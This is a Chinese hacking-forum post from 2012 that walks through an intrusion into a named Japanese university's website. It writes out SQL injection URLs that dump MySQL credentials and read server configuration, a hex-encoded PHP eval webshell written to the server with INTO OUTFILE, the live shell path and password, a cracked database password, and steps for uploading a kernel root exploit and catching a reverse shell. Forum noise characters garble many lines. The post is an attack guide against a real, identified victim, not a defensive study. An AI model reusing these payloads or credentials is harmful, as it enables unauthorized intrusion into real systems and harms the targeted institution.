找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2303|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析9 W* U, V2 q6 i6 V/ S. \! S, z4 n
9 ]8 b3 z+ y* V0 |9 a
http://www.doshisha.ac.jp/chs/news/index.php?i=-13 F6 M: R: z. _4 N% g% z) x4 m
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:4 k6 s' j# R6 J* C: K

3 O2 r* F8 ^" B% F, P/ ?3 Dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
  A2 Q; ^" j6 R1 w* g/ {3 Y; |/ Y/ T/ {5 V
" X9 o: A. y# z0 ?

) F9 v# r! ]% R2 X4 l# }! F//@@datadir为数据库文件路径 . e: ^# q5 ~9 v  g
- g0 v+ N3 z* E# O

  j, A* a, L5 {' _; u+ R//load_file读取网站容器apache的配置文件
5 v+ N9 j. u3 N, p* @ 9 l' h0 `' |+ ^6 j

  m; e8 y+ I" Q) S//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 * n2 i. R  E# ~% p3 J& q
复制代码
+ a; O$ r, B* M+ i% a6 A8 X
7 C; p' H6 O" A6 B* Z; Q; j虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
( e2 e# l- _8 E. p) {& s" `* C% K2 L0 e  ?
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。% f$ w7 N1 ?) j( |  C9 B3 ?
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
- N+ |* i& N; s' U2 b0 y  \4 P" ^, y+ u. P8 }
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
& C* I# q4 t# T% Z) e如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
- G' `" v3 ~/ x! c9 b
/ K% t# r, `; v' K8 f6 u  r既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
$ m3 x) k" Z5 U4 E6 Z虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。3 i- Y0 O. c. Q' N
直接写一句话:
* K( W, u. H5 `7 B$ G2 u* O9 m
7 |8 m4 {% e8 q0 y2 Z. t- {' ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
. ], q: _9 b. V$ d! F$ k3 ?, b" s& j/ d$ T& k3 T2 b* L5 _( [
7 p% q! ^! I/ f
9 r  P1 n3 ?  C0 X4 x- s
//最后的#是为了闭合前面的语句
6 F) u" D; {, L# _: D  ^ / S" K/ _/ d. K

. C% X  P5 C4 h2 Q7 z! o* f/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
; \  H: ~# p0 e% d1 Z 4 x$ V- m( ~9 U2 `

0 d% F" j  J! e. H0 P. W& `3 t- {为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ! j% Q) ^9 I# i) O2 z& q

  w/ p1 m. T% n: j& o" T5 Y+ _& i" w# A. v, P, a2 K
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句   L2 \3 Z$ d( z/ @

5 q9 i, k) k( a) @7 P$ f+ l4 y6 K1 Z, p; `8 J6 t& U
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
* y+ U+ w' D6 f" w+ l6 {//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
4 b4 t- T$ T, R复制代码; @& |( k6 ~7 q# H' B6 `' k0 F

: y  E+ S  G. I( AHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有2 S3 F4 @( g3 m3 g, J# ?
通过上述注入语句,我们就得到了一句话木马:
, b/ l# i  C# o5 z" p7 s
( O% W% @- n6 r( H7 I
; s$ q# W5 L, u! g8 f( k9 ]! S+ |; d8 I

# L) d: g; F$ G5 h: Q: b+ |% R
9 c! _# z+ V/ Z" h2 N- Z- ]7 o2 Yhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ( n, Q& K& I9 {4 {1 m/ F* Q
复制代码
' h7 T$ E3 l+ W$ n1 L" y" E" }- @& }9 i: Q5 N
用菜刀连接,密码是cmd,如图所示:
& y) r, v5 D+ s  o然后在命令提示行里看了一下,现在的权限是:- u# f$ o0 m; M$ ]
0 v4 w+ u+ Q  n2 J* r) O3 e3 z7 X
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. }/ I2 T) r' E  }" z) n9 d  L4 A
好在赋权给这个文件夹不需要root,直接执行赋权语句:
5 j1 y* t, W8 P9 c6 O% t% b8 B$ `) W1 o: S

  {1 n! \5 R# p2 A" t" d! L
. a2 ~4 U7 |0 X; L+ l+ l " p3 V1 @& U' M0 W8 W+ R

5 W' m0 R$ U0 n/ Cchmod +x /tmp/ - A+ ?1 r. K2 I9 R
复制代码
+ E; U2 D  ?# M' z" _. \# a! _6 A9 b
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行( E& n. @9 q+ S3 m. i+ a2 I
然后就查了一下内核版本:
9 Y9 [* ?3 |- y5 b1 P) w0 v; a2 r- s# w* }1 _
& f4 s. F+ P% a: e& e* T( Z
/ D, E: _! y0 u, {1 D
9 M) L% t# G) y9 [

3 N3 c+ f2 m1 N. P3 Xuname-a
' q6 |9 S: S4 d$ F) ~, n' N0 I $ Z3 {$ L: ?5 q/ q0 W1 O

" {6 J' V5 o/ p& E7 ~5 B4 \; D//其实lsb_release -a & b8 R" S, t4 o0 V- x# Y/ \+ O
复制代码! ~( [# `6 I& a- S! j

2 s( V( T0 t, k2 `( z如图所示:
, [" Y4 }% q$ F, P- M
6 r" Z' C" N& R& Z) _" C内核版本:linux mainz1 2.6.28-194.e156 \! t6 y9 `4 h) {4 b5 e# S; U
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
% H/ }, k9 Z5 g2 E查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹# W6 w: ~! [7 H8 O7 A/ ^

  @9 U1 X/ z2 K* ]: Y9 o4 |" t然后给予执行权限3 x! E. g2 N$ L* i' m
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
3 H8 i0 s. @, I# i
8 X- ]9 B; H2 [  M/ [
* G" s6 ]4 _2 F* M; O- E0 m  V6 R& u! [" D) Q: a+ s
0 ?2 n0 e0 y& }, j
' k% ?6 o# w- B  m: c6 ~; r5 o
chmod +x /tmp/2.6.18-194
% M  D2 ?+ j+ x- m6 E复制代码 然后直接执行!~5 Q! P% O2 M/ Z0 |0 m4 F

5 H2 w# X" A; f: d总结:1 a) K" L$ |0 x9 B6 N/ G
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了6 ~: O: A4 H  b
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root/ x) \; K1 D- r* Y

9 S, U- d7 I7 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表